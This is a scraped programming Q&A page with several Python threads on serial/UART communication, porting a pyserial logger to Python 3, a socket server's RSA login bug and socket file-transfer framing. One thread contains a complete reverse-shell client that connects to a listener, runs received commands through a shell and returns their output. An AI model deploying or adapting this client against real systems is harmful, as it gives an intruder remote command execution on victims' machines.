Using a class with a uart object in another file - python

I have a class wifi that communicates with a coprocessor running ESP-AT, and I am trying to use it in another file however the uart .read method returns an unknown character (\xfe or \xff). When I tested the class in its own file it worked as expected.
wifi.py
from machine import UART, Pin
class wifi:
def __init__(self, uartNum=0, baud=115200, tx=Pin(0), rx=Pin(1)):
self._uart = UART(uartNum, baud, tx = tx, rx = rx) #Private uart object
def write(self, command): #Writes a command to the coprocessor
self._uart.write(command+"\r\n")
def awaitResponse(self, timeout=10):
time = 0
while timeout>=time: #Requires response in 10 seconds
if self._uart.any() > 0:
break #Breaks out the loop if any data detected
sleep(1)
time+=1
else:
return "No response" #If loop isn't broken out of no response is found
res = ""
while self._uart.any() > 0:
t = self._uart.read(1024) #Reads data
try:
res+=t.decode() #Decodes and adds the data to the response
except UnicodeError: #If the data cant be decoded
print(t)
res+="?"
return res
def cmd(self, command, timeout=10): #Combines write and awaitResponse
self.write(command)
return self.awaitResponse(timeout).replace("\r\n\r\n", "\r\n")
#This works in the same file
w = wifi()
print(w.cmd("AT")) #Tests connection
other.py
from wifi import wifi
#This doesnt work and returns an unknown character
w = wifi()
print(w.cmd("AT")) #Tests connection

Related

converting the python queue module from python2 to python3

I have a logging script that will log serial output from multiple devices in a queue of serial terms into stdout. In python 2.7 the script worked as intended. However upon converting the script to python3. I noticed that after I converted the queue module to its python3 form, my script started printing out empty lines in addition to the regular expected output. Could someone explain what the cause of this is and any best practice to fix this?
#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
import serial
import sys
import threading
from datetime import datetime
import glob
import time
import os
import termcolor as tc
import queue
__version__ = 2.0
COLOR = True
# Available colors
# blue, yellow, green, cyan,
# magenta, white, red, grey,
# light_grey, on_red
# Add light grey to the colors dictionary
tc.COLORS['light_grey'] = 38
# Add a highlight color
tc.COLORS['on_red'] = 41
TIMEOUT = 0.05 # seconds
DEVS = []
usb_devices = []
speaker_types = ['Tx', 'Rx-FL', 'Rx-FR', 'Rx-Center', 'Rx-Subwoofer']
stamp = time.strftime("%Y:%m:%d-%H:%M:%S")
def serial_ports():
if sys.platform.startswith('win'):
ports = ['COM%s' % (i + 1) for i in range(256)]
elif sys.platform.startswith('linux') or sys.platform.startswith('cygwin'):
ports = glob.glob('/dev/tty[A-Za-z]*')
elif sys.platform.startswith('darwin'):
ports = glob.glob('/dev/tty.*')
else:
raise EnvironmentError('Unsupported platform')
result = []
for port in ports:
try:
s = serial.Serial(port)
s.close()
result.append(port)
except (OSError, serial.SerialException):
pass
result.reverse()
print("Ports: " + str(result))
pattern = 'USB'
usb_devices = [string for string in result if pattern in string]
return usb_devices
def add_device(position):
name = speaker_types[position]
return name
class SerialTerm(object):
"""A serial terminal that runs in its own thread"""
def __init__(self, name, port, timeout, queue, baudrate=2000000, color=None):
self.name = name
self.port = port
self.timeout = timeout
self.queue = queue
self.baudrate = baudrate
self.color = color
self.receiver_thread = None
self.alive = None
self.serial = serial.serial_for_url(
self.port,
timeout=self.timeout,
baudrate=self.baudrate)
def start(self):
"""Starts the terminal thread"""
self.alive = True
self.receiver_thread = threading.Thread(target=self.reader)
self.receiver_thread.setDaemon(True)
self.receiver_thread.start()
#self.reset()
def stop(self):
"""Stops the terminal thread"""
self.alive = False
self.receiver_thread.join()
def reader(self):
"""Reads data from the associated serial port and puts the data in a
queue"""
while self.alive:
now = datetime.utcnow()
line = self.serial.readline()
if line != "":
output_str = f"{now.time().isoformat()[:12]}(UTC) {self.name}> {line}"
if COLOR and (self.color is not None):
output_str = tc.colored(output_str, self.color)
self.queue.put(output_str)
def join(self):
"""Waits until thread terminates"""
self.receiver_thread.join()
def main():
print("Getting Devices")
dev = serial_ports()
position = 0
name = ''
for d in dev:
name = add_device(position)
DEVS.append({'port':dev[position], 'name':name, 'color':'white'})
position += 1
print('DEVS: ' + str(DEVS))
"""Round robin serial polling"""
sys.stdout.write("v{}\n".format(__version__))
sys.stdout.flush()
que = queue.Queue()
terms = []
for dev in DEVS:
terms.append(
SerialTerm(
name=dev['name'],
port=dev['port'],
color=dev['color'],
timeout=TIMEOUT,
queue=que))
for term in terms:
term.start()
try:
while True:
try:
# The queue.get method needs a timeout or KeyboardInterrupt won't ever raise.
sys.stdout.write(que.get(timeout=60) + "\n")
sys.stdout.flush()
except queue.Empty:
pass
except KeyboardInterrupt:
sys.stderr.write("\nQuitting\n")
for term in terms:
term.stop()
term.join()
sys.exit()
sys.stdout.flush()
except:
raise
if __name__ == '__main__':
main()
Here is an example of the bad output python3 has been giving me. It would just spam these empty lines indefinitely in addition to any normal printout that is displayed.
00:53:00.859(UTC) Tx> b''
00:53:00.909(UTC) Tx> b''
00:53:00.960(UTC) Tx> b''
00:53:01.010(UTC) Tx> b''
00:53:01.061(UTC) Tx> b''
00:53:01.111(UTC) Tx> b''
00:53:00.859(UTC) Tx> b'Expected Printout'
00:53:00.909(UTC) Tx> b''
00:53:00.960(UTC) Tx> b''
00:53:01.010(UTC) Tx> b''
00:53:01.061(UTC) Tx> b''
00:53:01.111(UTC) Tx> b''
the bug is here:
line = self.serial.readline()
if line != "":
output_str = f"{now.time().isoformat()[:12]}(UTC) {self.name}> {line}"
if COLOR and (self.color is not None):
output_str = tc.colored(output_str, self.color)
self.queue.put(output_str)
self.serial.readline() returns a bytes object. As a result, it will not compare equal to str objects such as "", so empty lines are no longer filtered out.
To fix it, you will need to convert the return value of self.serial.readline() to str with bytes.decode
See this guide for more details about the changes to strings made in python 3, and how to properly port python 2 code.

How to handle error while encryption decoding?

I am trying to decode packages that will come from the server reverse shell. Problem is It is not always possible to know the encoding style of the reached system even though utf-8 is massively dominating. So I want to loop through a list to try every possible encoding systems that embedded in python to decode the format.
import socket
import subprocess
import simplejson
import os
import sys
def decoder():
codecs = open("C:\\Users\\burak\\Desktop\\Folders\\FILES\\scripts\\scripts_1\\3.9codecs.txt")
return list(codec.strip()[2:-2] for codec in codecs)
class Client:
def __init__(self, host, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((host, port))
def json_send(self, data):
json_data = simplejson.dumps(data)
self.connection.send(json_data.encode('utf-8'))
def json_recv(self):
json_data = self.connection.recv(2048).decode()
return simplejson.loads(json_data)
def command_execution(self, command):
otpt = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
parse = otpt.communicate()
x = 0
> ***try:
> This PART !
> except Exception as e:
> print(e)***
def change_directory(self, directory):
os.chdir(directory)
return "Cd to " + directory
def start(self):
while True:
command = self.json_recv()
if command[0] == "exit":
self.connection.close()
sys.exit(0)
elif command[0] == "cd" and len(command) > 1:
command_output = self.change_directory(command[1])
else:
command_output = self.command_execution(command)
self.json_send(command_output)
client_one = Client("localhost", 8080)
client_one.start()
In my code you can see, I am extracting a string from a .txt file than converting it into a list, than what I tried is that
try:
for codec in decoder()
return parse[0].decode(codec)
if UnicodeDecodeError or TypeError:
continue
except Exception as e:
print(e)
It is not working as I expected, I think everytime decoder crashes, for loop jumping back to where it starts (in my case 'ascii' as a first element of that list). I could not come up with any solutions, ideas ?

How to fix: "TypeError: 'bool' object is not subscriptable"

I am currently working with a basic client/server application and implementing a simple RSA / public-key authentication system. I have ran into this error and can not, for the life of me, figure it out.
I am using the latest version of python.
server.py
def getUserData(username):
global privateKeysFilename
filename = privateKeysFilename
with open(filename, "r") as keysFile:
for line in keysFile:
line = [token.rstrip("\n") for token in line.split(",")]
if(username == line[0]):
if DEBUG:
print("\n=== DEBUG\nUser data = %s\n===\n" %(line))
return line
return False
def running(self):
global BUFFER, DEBUG, start, final
while 1:
print('Waiting for a connection')
connection, client_address = self.server_socket.accept()
connection.send("Successful connection!".encode())
x = randint(start, final)
self.fx = function(x)
connection.send(str(x).encode())
try:
# Output that a client has connected
print('connection from', client_address)
write_connection()
# Set the time that the client connected
start_time = datetime.datetime.now()
# Loop until the client disconnects from the server
while 1:
# Receive information from the client
userData = connection.recv(BUFFER)
#data = connection.recv(1024).decode()
if(userData != "0"):
#define split character
ch = ","
userData = userData.split(ch.encode())
username = userData[0]
r = int(userData[1])
userData = getUserData(username)
e, n = int(userData[1]), int(userData[2])
y = modularPower(r, e, n)
if DEBUG:
print("=== DEBUG\ne = %d\nn = %d\nr = %d\ny = %d\n===\n" %(e, n, r, y))
if(self.fx == y):
#if authentication passed
connection.send("Welcome!!!".encode())
else:
connection.send("Failure!!!".encode())
if (userData != 'quit') and (userData != 'close'):
print('received "%s" ' % userData)
connection.send('Your request was successfully received!'.encode())
write_data(userData)
# Check the dictionary for the requested artist name
# If it exists, get all their songs and return them to the user
if userData in self.song_dictionary:
songs = ''
for i in range(len(self.song_dictionary.get(userData))):
songs += self.song_dictionary.get(userData)[i] + ', '
songs = songs[:-2]
print('sending data back to the client')
connection.send(songs.encode())
print("Sent", songs)
# If it doesn't exist return 'error' which tells the client that the artist does not exist
else:
print('sending data back to the client')
connection.send('error'.encode())
else:
# Exit the while loop
break
# Write how long the client was connected for
write_disconnection(start_time)
except socket.error:
# Catch any errors and safely close the connection with the client
print("There was an error with the connection, and it was forcibly closed.")
write_disconnection(start_time)
connection.close()
data = ''
finally:
if data == 'close':
print('Closing the connection and the server')
# Close the connection
connection.close()
# Exit the main While loop, so the server does not listen for a new client
break
else:
print('Closing the connection')
# Close the connection
connection.close()
# The server continues to listen for a new client due to the While loop
and here is the output with error:
Traceback <most recent call last>:
File "server.py", line 165, in running
e, n = int(userData[1]), int(userData[2])
TypeError: 'bool' object is not subscriptable
Any help would be greatly appreciated! :)
By using userData[n] you are trying to access the nth element in a subscriptable object.
This can be a list, dict, tuple or even a string.
The error you see means that your object userData is neither of the previous mentioned types, and it's a bool ( True or False )
Since it's the result of calling the function getUserData(), I recommend you check the return type of this function and make sure it's of the mentioned types and revise your code logic.
[Update]
By checking the function getUserData() it looks it only returns line if the username is included, if not it returns False which is not handled in the main code.
I suggest this edit to the code to inlclude success status to the return value as follows.
def getUserData(username):
global privateKeysFilename
filename = privateKeysFilename
with open(filename, "r") as keysFile:
for line in keysFile:
line = [token.rstrip("\n") for token in line.split(",")]
if(username == line[0]):
if DEBUG:
print("\n=== DEBUG\nUser data = %s\n===\n" %(line))
return True, line
return False, None
And then in your code when you call getUserData() you check for the success first before parsing data like this
userData = getUserData(username)
if userData [0]:
e, n = int(userData[1]), int(userData[2])
y = modularPower(r, e, n)
else:
# Your failure condition

How to finish a socket file transfer in Python?

I have a Client and a Server and I need to transfer some files using sockets. I can send small messages, but when I try to send a File, the problems begins...
client.py:
from socket import *
from threading import Thread
import sys
import hashlib
class Client(object):
ASK_LIST_FILES = "#001" # 001 is the requisition code to list
# all the files
ASK_SPECIFIC_FILE = "#002" # 002 is the requisition code to a
# specific file
SEND_FILE = "#003" # 003 is the requisition code to send one
# file
AUTHENTICATION = "#004" # 004 is the requisition code to user
# authentication
listOfFiles = []
def __init__(self):
try:
self.clientSocket = socket(AF_INET, SOCK_STREAM)
except (error):
print("Failed to create a Socket.")
sys.exit()
def connect(self, addr):
try:
self.clientSocket.connect(addr)
except (error):
print("Failed to connect.")
sys.exit()
print(self.clientSocket.recv(1024).decode())
def closeConnection(self):
self.clientSocket.close()
def _askFileList(self):
try:
data = Client.ASK_LIST_FILES
self.clientSocket.sendall(data.encode())
# self._recvFileList()
except (error):
print("Failed asking for the list of files.")
self.closeConnection()
sys.exit()
thread = Thread(target = self._recvFileList)
thread.start()
def _recvFileList(self):
print("Waiting for the list...")
self.listOfFiles = []
while len(self.listOfFiles) == 0:
data = self.clientSocket.recv(1024).decode()
if (data):
self.listOfFiles = data.split(',')
if(len(self.listOfFiles) > 0):
print (self.listOfFiles)
def _askForFile(self, fileIndex):
fileIndex = fileIndex - 1
try:
data = Client.ASK_SPECIFIC_FILE + "#" + str(fileIndex)
self.clientSocket.sendall(data.encode())
except(error):
print("Failed to ask for an specific file.")
self.closeConnection()
sys.exit()
self._downloadFile(fileIndex)
def _downloadFile(self, fileIndex):
print("Starting receiving file")
f = open("_" + self.listOfFiles[fileIndex], "wb+")
read = self.clientSocket.recv(1024)
# print(read)
# f.close
while len(read) > 0:
print(read)
f.write(read)
f.flush()
read = self.clientSocket.recv(1024)
f.flush()
f.close()
self.closeConnection()
server.py
from socket import *
from threading import Thread
import sys
import glob
class Server(object):
def __init__(self):
try:
self.serverSocket = socket(AF_INET, SOCK_STREAM)
except (error):
print("Failed to create a Socket.")
sys.exit()
def connect(self, addr):
try:
self.serverSocket.bind(addr)
except (error):
print ("Failed on binding.")
sys.exit()
def closeConnection(self):
self.serverSocket.close()
def waitClients(self, num):
while True:
print("Waiting for clients...")
self.serverSocket.listen(num)
conn, addr = self.serverSocket.accept()
print("New client found...")
thread = Thread(target = self.clientThread, args = (conn,))
thread.start()
def clientThread(self, conn):
WELCOME_MSG = "Welcome to the server"
conn.send(WELCOME_MSG.encode())
while True:
data = conn.recv(2024).decode()
if(data):
# print(data)
# reply = 'OK: ' + data
# conn.sendall(reply.encode())
if(data == "#001"):
listOfFiles = self.getFileList()
strListOfFiles = ','.join(listOfFiles)
self._sendFileList(strListOfFiles, conn)
else:
dataCode = data.split('#')
print(dataCode)
if(dataCode[1] == "002"):
print("Asking for file")
self._sendFile(int(dataCode[2]), conn)
if(dataCode[1] == "003"):
print("Pedido de login")
if self._authentication(dataCode[2]):
conn.send("OK".encode())
# self._recvFile(conn)
else:
conn.send("FAILED".encode())
def _sendFile(self, fileIndex, conn):
listOfFiles = self.getFileList()
print(fileIndex)
print(listOfFiles[fileIndex])
f = open(listOfFiles[fileIndex], "rb")
read = f.read(1024)
while len(read) > 0:
conn.send(read)
read = f.read(1024)
f.close()
def _sendFileList(self, strList, conn):
try:
conn.sendall(strList.encode())
except (error):
print("Failed to send list of files.")
def getFileList(self):
return glob.glob("files/*")
When I try to get a file from my server, I can transfer everything but the connection never ends. What is going on with my code?
First, you are doing here the most common error using TCP: assume all data sent in a single send() will be got identically in a single recv(). This is untrue for TCP, because it is an octet stream, not a message stream. Your code will work only under ideal (lab) conditions and could mysteriously fail in a real world usage. You should either explicitly invent message boundaries in TCP streams, or switch e.g. to SCTP. The latter is available now almost everywhere and keeps message boundaries across a network connection.
The second your error is directly connected to the first one. When sending file, you don't provide any explicit mark that file has been finished. So, clients waits forever. You might try to close server connection to show that file is finished, but in that case client won't be able to distinguish real file end and connection loss; moreover, the connection won't be reusable for further commands. You would select one of the following ways:
Prefix a file contents with its length. In this case, client will know how many bytes shall be received for the file.
Send file contents as a chunk sequence, prefixing each chunk with its length (only for TCP) and with mark whether this chunk is last (for both transports). Alternatively, a special mark "EOF" can be sent without data.
Similarly, control messages and their responses shall be provided with either length prefix or a terminator which can't appear inside such message.
When you finish developing this, you would look at FTP and HTTP; both addresses all issues I described here but in principally different ways.

pyserial readline() : SerialException

I'm writing a code used to send order to an avr. I send several information but between each write, I have to wait for an answer (I have to wait for the robot to reach a point on the coordinate system). As I read in the documentation, readline() should at least read until the timeout but as soon as I send the first coordinate, the readline() automatically return :
SerialException: device reports readiness to read but returned no data (device disconnected?)
When I put a sleep() between each write() in the for loop, everything works fine. I tried to use inWaiting() but it still does not work. Here is an example of how I used it:
for i in chemin_python:
self.serieInstance.ecrire("goto\n" + str(float(i.x)) + '\n' + str(float(-i.y)) + '\n')
while self.serieInstance.inWaiting():
pass
lu = self.serieInstance.readline()
lu = lu.split("\r\n")[0]
reponse = self.serieInstance.file_attente.get(lu)
if reponse != "FIN_GOTO":
log.logger.debug("Erreur asservissement (goto) : " + reponse)
Here an snipet how to use serial in python
s.write(command);
st = ''
initTime = time.time()
while True:
st += s.readline()
if timeout and (time.time() - initTime > t) : return TIMEOUT
if st != ERROR: return OK
else: return ERROR
This method allows you to separately control the timeout for gathering all the data for each line, and a different timeout for waiting on additional lines.
def serial_com(self, cmd):
'''Serial communications: send a command; get a response'''
# open serial port
try:
serial_port = serial.Serial(com_port, baudrate=115200, timeout=1)
except serial.SerialException as e:
print("could not open serial port '{}': {}".format(com_port, e))
# write to serial port
cmd += '\r'
serial_port.write(cmd.encode('utf-8'))
# read response from serial port
lines = []
while True:
line = serial_port.readline()
lines.append(line.decode('utf-8').rstrip())
# wait for new data after each line
timeout = time.time() + 0.1
while not serial_port.inWaiting() and timeout > time.time():
pass
if not serial_port.inWaiting():
break
#close the serial port
serial_port.close()
return lines

Categories